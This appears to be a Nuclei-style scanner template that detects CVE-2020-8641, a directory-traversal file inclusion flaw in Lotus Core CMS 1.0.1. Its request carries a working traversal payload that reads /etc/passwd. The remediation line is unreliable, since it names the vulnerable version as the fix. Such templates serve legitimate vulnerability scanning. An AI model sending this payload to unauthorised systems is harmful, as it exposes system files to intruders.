id: CVE-2020-8641

info:
  name: Lotus Core CMS 1.0.1 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: Lotus Core CMS 1.0.1 allows authenticated local file inclusion of .php files via directory traversal in the index.php page_slug parameter.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire system.
  remediation: |
    Apply the latest security patch or update to Lotus Core CMS 1.0.1 to fix the LFI vulnerability.
  reference:
    - https://cxsecurity.com/issue/WLB-2020010234
    - https://www.exploit-db.com/exploits/47985
    - https://nvd.nist.gov/vuln/detail/CVE-2020-8641
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2020-8641
    cwe-id: CWE-22
    epss-score: 0.0071
    epss-percentile: 0.8041
    cpe: cpe:2.3:a:lotus_core_cms_project:lotus_core_cms:1.0.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: lotus_core_cms_project
    product: lotus_core_cms
  tags: cve,cve2020,lfi,lotus,cms,edb,lotus_core_cms_project

http:
  - method: GET
    path:
      - '{{BaseURL}}/index.php?page_slug=../../../../../etc/passwd%00'

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100b8aaf2051f6d1359708f8c35e585c53bc96aed6d463dda0df833af3a51c8c709022064abebc6a647923e09b1ac8857af48c57e8061ab568c113e4d6008e8f6c284d3:922c64590222798bb761d5b6d8e72950